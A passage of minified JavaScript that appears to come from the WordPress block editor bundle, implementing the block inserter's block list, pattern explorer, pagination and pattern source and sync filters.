p=`wp-block:${h.name}`;m.has(p)||(f.dataTransfer.items.add(&quot;&quot;,p),m.add(p))}},onDragEnd:()=&gt;{c()},__experimentalDragComponent:(0,I5.jsx)(eB,{count:t.length,icon:o||!n&amp;&amp;s,isPattern:!!n}),children:({onDraggableStart:f,onDraggableEnd:m})=&gt;r({draggable:!0,onDragStart:f,onDragEnd:m})})},Xh=J0e;var Ml=l(w(),1);function exe({className:e,isFirst:t,item:o,onSelect:r,onHover:n,isDraggable:i,...s}){let a=(0,Qh.useRef)(!1),c=o.icon?{backgroundColor:o.icon.background,color:o.icon.foreground}:{},u=(0,Qh.useMemo)(()=&gt;[(0,Gu.createBlock)(o.name,o.initialAttributes,(0,Gu.createBlocksFromInnerBlocksTemplate)(o.innerBlocks))],[o.name,o.initialAttributes,o.innerBlocks]),d=(0,Gu.isReusableBlock)(o)&amp;&amp;o.syncStatus!==&quot;unsynced&quot;||(0,Gu.isTemplatePart)(o);return(0,Ml.jsx)(Xh,{isEnabled:i&amp;&amp;!o.isDisabled,blocks:u,icon:o.icon,children:({draggable:f,onDragStart:m,onDragEnd:h})=&gt;(0,Ml.jsx)(&quot;div&quot;,{className:V(&quot;block-editor-block-types-list__list-item&quot;,{&quot;is-synced&quot;:d}),draggable:f,onDragStart:p=&gt;{a.current=!0,m&amp;&amp;(n(null),m(p))},onDragEnd:p=&gt;{a.current=!1,h&amp;&amp;h(p)},children:(0,Ml.jsxs)(E5,{isFirst:t,className:V(&quot;block-editor-block-types-list__item&quot;,e),disabled:o.isDisabled,onClick:p=&gt;{p.preventDefault(),r(o,(0,Fy.isAppleOS)()?p.metaKey:p.ctrlKey),n(null)},onKeyDown:p=&gt;{let{keyCode:g}=p;g===Fy.ENTER&amp;&amp;(p.preventDefault(),r(o,(0,Fy.isAppleOS)()?p.metaKey:p.ctrlKey),n(null))},onMouseEnter:()=&gt;{a.current||n(o)},onMouseLeave:()=&gt;n(null),...s,children:[(0,Ml.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-types-list__item-icon&quot;,style:c,children:(0,Ml.jsx)(Ae,{icon:o.icon,showColors:!0})}),(0,Ml.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-types-list__item-title&quot;,children:(0,Ml.jsx)(Y$.__experimentalTruncate,{numberOfLines:3,children:o.title})})]})})})}var q$=(0,Qh.memo)(exe);var zy=l(w(),1);function txe(e,t){let o=[];for(let r=0,n=e.length;r&lt;n;r+=t)o.push(e.slice(r,r+t));return o}function Q$({items:e=[],onSelect:t,onHover:o=()=&gt;{},children:r,label:n,isDraggable:i=!0}){let s=&quot;block-editor-block-types-list&quot;,a=(0,X$.useInstanceId)(Q$,s);return(0,zy.jsxs)(C5,{className:s,&quot;aria-label&quot;:n,children:[txe(e,3).map((c,u)=&gt;(0,zy.jsx)(B5,{children:c.map((d,f)=&gt;(0,zy.jsx)(q$,{item:d,className:(0,Z$.getBlockMenuDefaultClassName)(d.id),onSelect:t,onHover:o,isDraggable:i&amp;&amp;!d.isDisabled,isFirst:u===0&amp;&amp;f===0,rowId:`${a}-${u}`},d.id))},u)),r]})}var lm=Q$;var J$=l(A(),1),Dl=l(w(),1);function oxe({title:e,icon:t,children:o}){return(0,Dl.jsxs)(Dl.Fragment,{children:[(0,Dl.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__panel-header&quot;,children:[(0,Dl.jsx)(&quot;h2&quot;,{className:&quot;block-editor-inserter__panel-title&quot;,children:e}),(0,Dl.jsx)(J$.Icon,{icon:t})]}),(0,Dl.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__panel-content&quot;,children:o})]})}var Wu=oxe;var eK=l(N(),1),P5=l(w(),1);function rxe(){return(0,P5.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__no-results&quot;,children:(0,P5.jsx)(&quot;p&quot;,{children:(0,eK.__)(&quot;No results found.&quot;)})})}var Ls=rxe;var zo=l(w(),1),nxe=e=&gt;e.name.split(&quot;/&quot;)[0],ixe=6,sxe=[];function tK({items:e,collections:t,categories:o,onSelectItem:r,onHover:n,showMostUsedBlocks:i,className:s}){let a=(0,Vl.useMemo)(()=&gt;ma(e,&quot;frecency&quot;,&quot;desc&quot;).slice(0,ixe),[e]),c=(0,Vl.useMemo)(()=&gt;e.filter(p=&gt;!p.category),[e]),u=(0,Vl.useMemo)(()=&gt;{let p={...t};return Object.keys(t).forEach(g=&gt;{p[g]=e.filter(b=&gt;nxe(b)===g),p[g].length===0&amp;&amp;delete p[g]}),p},[e,t]);(0,Vl.useEffect)(()=&gt;()=&gt;n(null),[]);let d=(0,R5.useAsyncList)(o),f=o.length===d.length,m=(0,Vl.useMemo)(()=&gt;Object.entries(t),[t]),h=(0,R5.useAsyncList)(f?m:sxe);return(0,zo.jsxs)(&quot;div&quot;,{className:s,children:[i&amp;&amp;e.length&gt;3&amp;&amp;!!a.length&amp;&amp;(0,zo.jsx)(Wu,{title:(0,Jh._x)(&quot;Most used&quot;,&quot;blocks&quot;),children:(0,zo.jsx)(lm,{items:a,onSelect:r,onHover:n,label:(0,Jh._x)(&quot;Most used&quot;,&quot;blocks&quot;)})}),d.map(p=&gt;{let g=e.filter(b=&gt;b.category===p.slug);return!g||!g.length?null:(0,zo.jsx)(Wu,{title:p.title,icon:p.icon,children:(0,zo.jsx)(lm,{items:g,onSelect:r,onHover:n,label:p.title})},p.slug)}),f&amp;&amp;c.length&gt;0&amp;&amp;(0,zo.jsx)(Wu,{className:&quot;block-editor-inserter__uncategorized-blocks-panel&quot;,title:(0,Jh.__)(&quot;Uncategorized&quot;),children:(0,zo.jsx)(lm,{items:c,onSelect:r,onHover:n,label:(0,Jh.__)(&quot;Uncategorized&quot;)})}),h.map(([p,g])=&gt;{let b=u[p];return!b||!b.length?null:(0,zo.jsx)(Wu,{title:g.title,icon:g.icon,children:(0,zo.jsx)(lm,{items:b,onSelect:r,onHover:n,label:g.title})},p)})]})}function axe({rootClientId:e,onInsert:t,onHover:o,showMostUsedBlocks:r},n){let[i,s,a,c]=ku(e,t);if(!i.length)return(0,zo.jsx)(Ls,{});let u=[],d=[];for(let f of i)f.category!==&quot;reusable&quot;&amp;&amp;(f.isSearchOnly||(f.isAllowedInCurrentRoot?u.push(f):d.push(f)));return(0,zo.jsx)(Yh,{children:(0,zo.jsxs)(&quot;div&quot;,{ref:n,children:[!!u.length&amp;&amp;(0,zo.jsx)(zo.Fragment,{children:(0,zo.jsx)(tK,{items:u,categories:s,collections:a,onSelectItem:c,onHover:o,showMostUsedBlocks:r,className:&quot;block-editor-inserter__insertable-blocks-at-selection&quot;})}),(0,zo.jsx)(tK,{items:d,categories:s,collections:a,onSelectItem:c,onHover:o,showMostUsedBlocks:r,className:&quot;block-editor-inserter__all-blocks&quot;})]})})}var oK=(0,Vl.forwardRef)(axe);var xK=l(R(),1),wK=l(Z(),1),CK=l(A(),1),BK=l(N(),1);var bK=l(A(),1),D5=l(R(),1),kK=l(N(),1);var rB=l(A(),1),O5=l(N(),1),Fl=l(w(),1);function lxe({selectedCategory:e,patternCategories:t,onClickCategory:o}){let r=&quot;block-editor-block-patterns-explorer__sidebar&quot;;return(0,Fl.jsx)(&quot;div&quot;,{className:`${r}__categories-list`,children:t.map(({name:n,label:i})=&gt;(0,Fl.jsx)(rB.Button,{__next40pxDefaultSize:!0,label:i,className:`${r}__categories-list__item`,isPressed:e===n,onClick:()=&gt;{o(n)},children:i},n))})}function cxe({searchValue:e,setSearchValue:t}){return(0,Fl.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer__search&quot;,children:(0,Fl.jsx)(rB.SearchControl,{onChange:t,value:e,label:(0,O5.__)(&quot;Search&quot;),placeholder:(0,O5.__)(&quot;Search&quot;)})})}function uxe({selectedCategory:e,patternCategories:t,onClickCategory:o,searchValue:r,setSearchValue:n}){return(0,Fl.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer__sidebar&quot;,children:[(0,Fl.jsx)(cxe,{searchValue:r,setSearchValue:n}),!r&amp;&amp;(0,Fl.jsx)(lxe,{selectedCategory:e,patternCategories:t,onClickCategory:o})]})}var rK=uxe;var jl=l(R(),1),rg=l(N(),1),fK=l(Z(),1),mK=l(A(),1),pK=l(Xo(),1);var nK=l($(),1),wa=l(R(),1),zl=l(A(),1),iK=l(Z(),1),sK=l(N(),1);var yn=l(A(),1),zi=l(N(),1),Br=l(w(),1);function nB({currentPage:e,numPages:t,changePage:o,totalItems:r}){return(0,Br.jsxs)(yn.__experimentalVStack,{className:&quot;block-editor-patterns__grid-pagination-wrapper&quot;,children:[(0,Br.jsx)(yn.__experimentalText,{variant:&quot;muted&quot;,children:(0,zi.sprintf)((0,zi._n)(&quot;%s item&quot;,&quot;%s items&quot;,r),r)}),t&gt;1&amp;&amp;(0,Br.jsxs)(yn.__experimentalHStack,{expanded:!1,spacing:3,justify:&quot;flex-start&quot;,className:&quot;block-editor-patterns__grid-pagination&quot;,children:[(0,Br.jsxs)(yn.__experimentalHStack,{expanded:!1,spacing:1,className:&quot;block-editor-patterns__grid-pagination-previous&quot;,children:[(0,Br.jsx)(yn.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;o(1),disabled:e===1,&quot;aria-label&quot;:(0,zi.__)(&quot;First page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,Br.jsx)(&quot;span&quot;,{children:&quot;\xAB&quot;})}),(0,Br.jsx)(yn.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;o(e-1),disabled:e===1,&quot;aria-label&quot;:(0,zi.__)(&quot;Previous page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,Br.jsx)(&quot;span&quot;,{children:&quot;\u2039&quot;})})]}),(0,Br.jsx)(yn.__experimentalText,{variant:&quot;muted&quot;,children:(0,zi.sprintf)((0,zi._x)(&quot;%1$s of %2$s&quot;,&quot;paging&quot;),e,t)}),(0,Br.jsxs)(yn.__experimentalHStack,{expanded:!1,spacing:1,className:&quot;block-editor-patterns__grid-pagination-next&quot;,children:[(0,Br.jsx)(yn.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;o(e+1),disabled:e===t,&quot;aria-label&quot;:(0,zi.__)(&quot;Next page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,Br.jsx)(&quot;span&quot;,{children:&quot;\u203A&quot;})}),(0,Br.jsx)(yn.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;o(t),disabled:e===t,&quot;aria-label&quot;:(0,zi.__)(&quot;Last page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,Br.jsx)(&quot;span&quot;,{children:&quot;\xBB&quot;})})]})]})]})}var Yt=l(w(),1),dxe=({showTooltip:e,title:t,children:o})=&gt;e?(0,Yt.jsx)(zl.Tooltip,{text:t,children:o}):(0,Yt.jsx)(Yt.Fragment,{children:o});function aK({id:e,isDraggable:t,pattern:o,onClick:r,onHover:n,showTitlesAsTooltip:i,category:s,isSelected:a}){let[c,u]=(0,wa.useState)(!1),{blocks:d,viewportWidth:f}=o,h=`block-editor-block-patterns-list__item-description-${(0,iK.useInstanceId)(aK)}`,p=o.type===Nt.user,g=(0,wa.useMemo)(()=&gt;!s||!t?d:(d??[]).map(b=&gt;{let v=(0,nK.cloneBlock)(b);return v.attributes.metadata?.categories?.includes(s)&amp;&amp;(v.attributes.metadata.categories=[s]),v}),[d,t,s]);return(0,Yt.jsx)(Xh,{isEnabled:t,blocks:g,pattern:o,children:({draggable:b,onDragStart:v,onDragEnd:k})=&gt;(0,Yt.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-list__list-item&quot;,draggable:b,onDragStart:y=&gt;{u(!0),v&amp;&amp;(n?.(null),v(y))},onDragEnd:y=&gt;{u(!1),k&amp;&amp;k(y)},children:(0,Yt.jsx)(dxe,{showTooltip:i&amp;&amp;!p,title:o.title,children:(0,Yt.jsxs)(zl.Composite.Item,{render:(0,Yt.jsx)(&quot;div&quot;,{role:&quot;option&quot;,&quot;aria-label&quot;:o.title,&quot;aria-describedby&quot;:o.description?h:void 0,className:V(&quot;block-editor-block-patterns-list__item&quot;,{&quot;block-editor-block-patterns-list__list-item-synced&quot;:o.type===Nt.user&amp;&amp;!o.syncStatus,&quot;is-selected&quot;:a})}),id:e,onClick:()=&gt;{r(o,d),n?.(null)},onMouseEnter:()=&gt;{c||n?.(o)},onMouseLeave:()=&gt;n?.(null),children:[(0,Yt.jsx)(vn.Async,{placeholder:(0,Yt.jsx)(fxe,{}),children:(0,Yt.jsx)(vn,{blocks:d,viewportWidth:f})}),(!i||p)&amp;&amp;(0,Yt.jsxs)(zl.__experimentalHStack,{className:&quot;block-editor-patterns__pattern-details&quot;,spacing:2,children:[p&amp;&amp;!o.syncStatus&amp;&amp;(0,Yt.jsx)(&quot;div&quot;,{className:&quot;block-editor-patterns__pattern-icon-wrapper&quot;,children:(0,Yt.jsx)(we,{className:&quot;block-editor-patterns__pattern-icon&quot;,icon:Ei})}),(0,Yt.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-list__item-title&quot;,children:o.title})]}),!!o.description&amp;&amp;(0,Yt.jsx)(zl.VisuallyHidden,{id:h,children:o.description})]})})})})}function fxe(){return(0,Yt.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-list__item is-placeholder&quot;})}function mxe({isDraggable:e,blockPatterns:t,onHover:o,onClickPattern:r,orientation:n,label:i=(0,sK.__)(&quot;Block patterns&quot;),category:s,showTitlesAsTooltip:a,pagingProps:c},u){let[d,f]=(0,wa.useState)(void 0),[m,h]=(0,wa.useState)(null);(0,wa.useEffect)(()=&gt;{let g=t[0]?.name;f(g)},[t]);let p=(g,b)=&gt;{h(g.name),r(g,b)};return(0,Yt.jsxs)(zl.Composite,{orientation:n,activeId:d,setActiveId:f,role:&quot;listbox&quot;,className:&quot;block-editor-block-patterns-list&quot;,&quot;aria-label&quot;:i,ref:u,children:[t.map(g=&gt;(0,Yt.jsx)(aK,{id:g.name,pattern:g,onClick:p,onHover:o,isDraggable:e,showTitlesAsTooltip:a,category:s,isSelected:!!m&amp;&amp;m===g.name},g.name)),c&amp;&amp;(0,Yt.jsx)(nB,{...c})]})}var Ca=(0,wa.forwardRef)(mxe);var cm=l(F(),1),cK=l($(),1),iB=l(N(),1),uK=l(Xo(),1),A5=l(R(),1);function lK({destinationRootClientId:e,destinationIndex:t,rootClientId:o,registry:r}){if(o===e)return t;let n=[&quot;&quot;,...r.select(_).getBlockParents(e),e],i=n.indexOf(o);return i!==-1?r.select(_).getBlockIndex(n[i+1])+1:r.select(_).getBlockOrder(o).length}function pxe({rootClientId:e=&quot;&quot;,insertionIndex:t,clientId:o,isAppender:r,onSelect:n,shouldFocusBlock:i=!0,selectBlockOnInsert:s=!0}){let a=(0,cm.useRegistry)(),{getSelectedBlock:c,getClosestAllowedInsertionPoint:u,isBlockInsertionPointVisible:d}=M((0,cm.useSelect)(_)),{destinationRootClientId:f,destinationIndex:m}=(0,cm.useSelect)(S=&gt;{let{getSelectedBlockClientId:x,getBlockRootClientId:C,getBlockIndex:B,getBlockOrder:I,getInsertionPoint:P}=M(S(_)),E=x(),L=e,T,O=P();return t!==void 0?T=t:O&amp;&amp;O.hasOwnProperty(&quot;index&quot;)?(L=O?.rootClientId?O.rootClientId:e,T=O.index):o?T=B(o):!r&amp;&amp;E?(L=C(E),T=B(E)+1):T=I(L).length,{destinationRootClientId:L,destinationIndex:T}},[e,t,o,r]),{replaceBlocks:h,insertBlocks:p,showInsertionPoint:g,hideInsertionPoint:b,setLastFocus:v}=M((0,cm.useDispatch)(_)),k=(0,A5.useCallback)((S,x,C=!1,B)=&gt;{(C||i||s)&amp;&amp;v(null);let I=c();!r&amp;&amp;I&amp;&amp;(0,cK.isUnmodifiedDefaultBlock)(I,&quot;content&quot;)?h(I.clientId,S,null,i||C?0:null,x):p(S,r||B===void 0?m:lK({destinationRootClientId:f,destinationIndex:m,rootClientId:B,registry:a}),r||B===void 0?f:B,s,i||C?0:null,x);let P=Array.isArray(S)?S.length:1,E=(0,iB.sprintf)((0,iB._n)(&quot;%d block added.&quot;,&quot;%d blocks added.&quot;,P),P);(0,uK.speak)(E),n&amp;&amp;n(S)},[r,c,h,p,f,m,n,i,s,v,a]),y=(0,A5.useCallback)(S=&gt;{if(S&amp;&amp;!d()){let x=u(S.name,f);x!==null&amp;&amp;g(x,lK({destinationRootClientId:f,destinationIndex:m,rootClientId:x,registry:a}))}else b()},[u,d,g,b,f,m,a]);return[f,k,y]}var $u=pxe;var eg=l(R(),1),sB=l($(),1),tg=l(F(),1),aB=l(N(),1),dK=l(Un(),1);var hxe=(e,t,o,r)=&gt;{let n=(0,eg.useMemo)(()=&gt;({[uu]:!!r}),[r]),i=(0,tg.useSelect)(p=&gt;{let{getSettings:g}=M(p(_));return g()[w0]??!1},[]),{patternCategories:s,patterns:a,userPatternCategories:c}=(0,tg.useSelect)(p=&gt;{let{getSettings:g,__experimentalGetAllowedPatterns:b}=M(p(_)),{__experimentalUserPatternCategories:v,__experimentalBlockPatternCategories:k}=g();return{patterns:b(t,n),userPatternCategories:v,patternCategories:k}},[t,n]),u=(0,eg.useMemo)(()=&gt;a.filter(p=&gt;!(p.categories?.includes(&quot;navigation&quot;)&amp;&amp;!i)),[a,i]),{getClosestAllowedInsertionPointForPattern:d}=M((0,tg.useSelect)(_)),f=(0,eg.useMemo)(()=&gt;{let p=[...s];return c?.forEach(g=&gt;{p.find(b=&gt;b.name===g.name)||p.push(g)}),p},[s,c]),{createSuccessNotice:m}=(0,tg.useDispatch)(dK.store),h=(0,eg.useCallback)((p,g)=&gt;{let b=r?t:d(p,t);if(b===null)return;let v=p.type===Nt.user&amp;&amp;p.syncStatus!==&quot;unsynced&quot;?[(0,sB.createBlock)(&quot;core/block&quot;,{ref:p.id})]:g;e((v??[]).map(k=&gt;{let y=(0,sB.cloneBlock)(k);return y.attributes.metadata?.categories?.includes(o)&amp;&amp;(y.attributes.metadata.categories=[o]),y}),p.name,!1,b),m((0,aB.sprintf)((0,aB.__)(&#039;Block pattern &quot;%s&quot; inserted.&#039;),p.title),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;})},[m,e,o,t,d,r]);return[u,f,h]},Ku=hxe;var og=l(R(),1),L5=l(Z(),1),N5=l(Fe(),1),lB=20;function cB(e,t,o,r=&quot;&quot;){let[n,i]=(0,og.useState)(1),s=(0,L5.usePrevious)(t),a=(0,L5.usePrevious)(r);(s!==t||a!==r)&amp;&amp;n!==1&amp;&amp;i(1);let c=e.length,u=n-1,d=(0,og.useMemo)(()=&gt;e.slice(u*lB,u*lB+lB),[u,e]),f=Math.ceil(e.length/lB),m=h=&gt;{(0,N5.getScrollContainer)(o?.current)?.scrollTo(0,0),i(h)};return(0,og.useEffect)(function(){(0,N5.getScrollContainer)(o?.current)?.scrollTo(0,0)},[t,o]),{totalItems:c,categoryPatterns:d,numPages:f,changePage:m,currentPage:n}}var Ns=l(w(),1);function gxe({filterValue:e,filteredBlockPatternsLength:t}){return e?(0,Ns.jsx)(mK.__experimentalHeading,{level:2,lineHeight:&quot;48px&quot;,className:&quot;block-editor-block-patterns-explorer__search-results-count&quot;,children:(0,rg.sprintf)((0,rg._n)(&quot;%d pattern found&quot;,&quot;%d patterns found&quot;,t),t)}):null}function bxe({searchValue:e,selectedCategory:t,patternCategories:o,rootClientId:r,onModalClose:n}){let i=(0,jl.useRef)(),s=(0,fK.useDebounce)(pK.speak,500),[a,c]=$u({rootClientId:r,shouldFocusBlock:!0}),[u,,d]=Ku(c,a,t),f=(0,jl.useMemo)(()=&gt;o.map(v=&gt;v.name),[o]),m=(0,jl.useMemo)(()=&gt;{let v=u.filter(k=&gt;{if(t===Vf.name||t===Sl.name&amp;&amp;k.type===Nt.user||t===Kp.name&amp;&amp;k.blockTypes?.includes(&quot;core/post-content&quot;))return!0;if(t===&quot;uncategorized&quot;){let y=k.categories?.some(S=&gt;f.includes(S))??!1;return!k.categories?.length||!y}return k.categories?.includes(t)});return e?zv(v,e):v},[e,u,t,f]);(0,jl.useEffect)(()=&gt;{if(!e)return;let v=m.length,k=(0,rg.sprintf)((0,rg._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,v),v);s(k)},[e,s,m.length]);let h=cB(m,t,i),[p,g]=(0,jl.useState)(e);e!==p&amp;&amp;(g(e),h.changePage(1));let b=!!m?.length;return(0,Ns.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer__list&quot;,ref:i,children:[(0,Ns.jsx)(gxe,{filterValue:e,filteredBlockPatternsLength:m.length}),(0,Ns.jsx)(Yh,{children:b&amp;&amp;(0,Ns.jsxs)(Ns.Fragment,{children:[(0,Ns.jsx)(Ca,{blockPatterns:h.categoryPatterns,onClickPattern:(v,k)=&gt;{d(v,k),n()},isDraggable:!1}),(0,Ns.jsx)(nB,{...h})]})})]})}var hK=bxe;var M5=l(R(),1),ng=l(N(),1),gK=l(Xo(),1);function kxe(e,t){return!e.categories||!e.categories.length?!1:e.categories.some(o=&gt;t.some(r=&gt;r.name===o))}function ig(e,t=&quot;all&quot;){let[o,r]=Ku(void 0,e),n=(0,M5.useMemo)(()=&gt;t===&quot;all&quot;?o:o.filter(s=&gt;!Iw(s,t)),[t,o]);return(0,M5.useMemo)(()=&gt;{let s=r.filter(a=&gt;n.some(c=&gt;c.categories?.includes(a.name))).sort((a,c)=&gt;a.label.localeCompare(c.label));return n.some(a=&gt;!kxe(a,r))&amp;&amp;!s.find(a=&gt;a.name===&quot;uncategorized&quot;)&amp;&amp;s.push({name:&quot;uncategorized&quot;,label:(0,ng._x)(&quot;Uncategorized&quot;)}),n.some(a=&gt;a.blockTypes?.includes(&quot;core/post-content&quot;))&amp;&amp;s.unshift(Kp),n.some(a=&gt;a.type===Nt.user)&amp;&amp;s.unshift(Sl),n.length&gt;0&amp;&amp;s.unshift({name:Vf.name,label:Vf.label}),(0,gK.speak)((0,ng.sprintf)((0,ng._n)(&quot;%d category button displayed.&quot;,&quot;%d category buttons displayed.&quot;,s.length),s.length)),s},[r,n])}var um=l(w(),1);function vxe({initialCategory:e,rootClientId:t,onModalClose:o}){let[r,n]=(0,D5.useState)(&quot;&quot;),[i,s]=(0,D5.useState)(e?.name),a=ig(t);return(0,um.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer&quot;,children:[(0,um.jsx)(rK,{selectedCategory:i,patternCategories:a,onClickCategory:s,searchValue:r,setSearchValue:n}),(0,um.jsx)(hK,{searchValue:r,selectedCategory:i,patternCategories:a,rootClientId:t,onModalClose:o})]})}function yxe({onModalClose:e,...t}){return(0,um.jsx)(bK.Modal,{title:(0,kK.__)(&quot;Patterns&quot;),onRequestClose:e,isFullScreen:!0,children:(0,um.jsx)(vxe,{onModalClose:e,...t})})}var vK=yxe;var sg=l(N(),1),Dt=l(A(),1);var Jo=l(w(),1);function Sxe({title:e}){return(0,Jo.jsx)(Dt.__experimentalVStack,{spacing:0,children:(0,Jo.jsx)(Dt.__experimentalView,{children:(0,Jo.jsx)(Dt.__experimentalSpacer,{marginBottom:0,paddingX:4,paddingY:3,children:(0,Jo.jsxs)(Dt.__experimentalHStack,{spacing:2,children:[(0,Jo.jsx)(Dt.Navigator.BackButton,{style:{minWidth:24,padding:0},icon:(0,sg.isRTL)()?Vo:Mr,size:&quot;small&quot;,label:(0,sg.__)(&quot;Back&quot;)}),(0,Jo.jsx)(Dt.__experimentalSpacer,{children:(0,Jo.jsx)(Dt.__experimentalHeading,{level:5,children:e})})]})})})})}function uB({categories:e,children:t}){return(0,Jo.jsxs)(Dt.Navigator,{initialPath:&quot;/&quot;,className:&quot;block-editor-inserter__mobile-tab-navigation&quot;,children:[(0,Jo.jsx)(Dt.Navigator.Screen,{path:&quot;/&quot;,children:(0,Jo.jsx)(Dt.__experimentalItemGroup,{children:e.map(o=&gt;(0,Jo.jsx)(Dt.Navigator.Button,{path:`/category/${o.name}`,as:Dt.__experimentalItem,isAction:!0,children:(0,Jo.jsxs)(Dt.__experimentalHStack,{children:[(0,Jo.jsx)(Dt.FlexBlock,{children:o.label}),(0,Jo.jsx)(we,{icon:(0,sg.isRTL)()?Mr:Vo})]})},o.name))})}),e.map(o=&gt;(0,Jo.jsxs)(Dt.Navigator.Screen,{path:`/category/${o.name}`,children:[(0,Jo.jsx)(Sxe,{title:(0,sg.__)(&quot;Back&quot;)}),t(o)]},o.name))]})}var ji=l(R(),1),V5=l(N(),1),Ms=l(A(),1);var _n=l(A(),1),Sn=l(N(),1);var dB=l(R(),1);var hr=l(w(),1),yK=e=&gt;e!==&quot;all&quot;&amp;&amp;e!==&quot;user&quot;,_xe=e=&gt;e.name===Sl.name,xxe=[{value:&quot;all&quot;,label:(0,Sn._x)(&quot;All&quot;,&quot;patterns&quot;)},{value:Nt.directory,label:(0,Sn.__)(&quot;Pattern Directory&quot;)},{value:Nt.theme,label:(0,Sn.__)(&quot;Theme &amp; Plugins&quot;)},{value:Nt.user,label:(0,Sn.__)(&quot;User&quot;)}];function SK({setPatternSyncFilter:e,setPatternSourceFilter:t,patternSyncFilter:o,patternSourceFilter:r,scrollContainerRef:n,category:i}){let s=i.name===Sl.name?Nt.user:r,a=yK(s),c=_xe(i),u=(0,dB.useMemo)(()=&gt;[{value:&quot;all&quot;,label:(0,Sn._x)(&quot;All&quot;,&quot;patterns&quot;)},{value:Tv.full,label:(0,Sn._x)(&quot;Synced&quot;,&quot;patterns&quot;),disabled:a},{value:Tv.unsynced,label:(0,Sn._x)(&quot;Not synced&quot;,&quot;patterns&quot;),disabled:a}],[a]);function d(f){t(f),yK(f)&amp;&amp;e(&quot;all&quot;)}return(0,hr.jsx)(hr.Fragment,{children:(0,hr.jsx)(_n.DropdownMenu,{popoverProps:{placement:&quot;right-end&quot;},label:(0,Sn.__)(&quot;Filter patterns&quot;),toggleProps:{size:&quot;compact&quot;},icon:(0,hr.jsx)(we,{icon:(0,hr.jsx)(_n.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,hr.jsx)(_n.Path,{d:&quot;M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z&quot;,fill:&quot;currentColor&quot;})})}),children:()=&gt;(0,hr.jsxs)(hr.Fragment,{children:[!c&amp;&amp;(0,hr.jsx)(_n.MenuGroup,{label:(0,Sn.__)(&quot;Source&quot;),children:(0,hr.jsx)(_n.MenuItemsChoice,{choices:xxe,onSelect:f=&gt;{d(f),n.current?.scrollTo(0,0)},value:s})}),(0,hr.jsx)(_n.MenuGroup,{label:(0,Sn.__)(&quot;Type&quot;),children:(0,hr.jsx)(_n.MenuItemsChoice,{choices:u,onSelect:f=&gt;{e(f),n.current?.scrollTo(0,0)},value:o})}),(0,hr.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__patterns-filter-help&quot;,children:(0,dB.createInterpolateElement)((0,Sn.__)(&quot;Patterns are available from the &lt;Link&gt;WordPress.org Pattern Directory&lt;/Link&gt;, bundled in the active theme, or created by users on this site. Only patterns created on this site can be synced.&quot;),{Link:(0,hr.jsx)(_n.ExternalLink,{href:(0,Sn.__)(&quot;https://wordpress.org/patterns/&quot;)})})})]})})})}var $r=l(w(),1),wxe=()=&gt;{};function fB({rootClientId:e,onInsert:t,onHover:o=wxe,category:r,showTitlesAsTooltip:n}){let[i,,s]=Ku(t,e,r?.name),[a,c]=(0,ji.useState)(&quot;all&quot;),[u,d]=(0,ji.useState)(&quot;all&quot;),f=ig(e,u),m=(0,ji.useRef)(),h=(0,ji.useMemo)(()=&gt;i.filter(k=&gt;Iw(k,u,a)?!1:r.name===Vf.name||r.name===Sl.name&amp;&amp;k.type===Nt.user||r.name===Kp.name&amp;&amp;k.blockTypes?.includes(&quot;core/post-content&quot;)?!0:r.name===&quot;uncategorized&quot;?k.categories?!k.categories.some(y=&gt;f.some(S=&gt;S.name===y)):!0:k.categories?.includes(r.name)),[i,f,r.name,u,a]),p=cB(h,r,m),{changePage:g}=p;(0,ji.useEffect)(()=&gt;()=&gt;o(null),[]);let b=(0,ji.useCallback)(k=&gt;{c(k),g(1)},[c,g]),v=(0,ji.useCallback)(k=&gt;{d(k),g(1)},[d,g]);return(0,$r.jsxs)($r.Fragment,{children:[(0,$r.jsxs)(Ms.__experimentalVStack,{spacing:2,className:&quot;block-editor-inserter__patterns-category-panel-header&quot;,children:[(0,$r.jsxs)(Ms.__experimentalHStack,{children:[(0,$r.jsx)(Ms.FlexBlock,{children:(0,$r.jsx)(Ms.__experimentalHeading,{className:&quot;block-editor-inserter__patterns-category-panel-title&quot;,size:13,level:4,as:&quot;div&quot;,children:r.label})}),(0,$r.jsx)(SK,{patternSyncFilter:a,patternSourceFilter:u,setPatternSyncFilter:b,setPatternSourceFilter:v,scrollContainerRef:m,category:r})]}),!h.length&amp;&amp;(0,$r.jsx)(Ms.__experimentalText,{variant:&quot;muted&quot;,className:&quot;block-editor-inserter__patterns-category-no-results&quot;,children:(0,V5.__)(&quot;No results found&quot;)})]}),h.length&gt;0&amp;&amp;(0,$r.jsxs)($r.Fragment,{children:[(0,$r.jsx)(Ms.__experimentalText,{size:&quot;12&quot;,as:&quot;p&quot;,className:&quot;block-editor-inserter__help-text&quot;,children:(0,V5.__)(&quot;Drag and drop 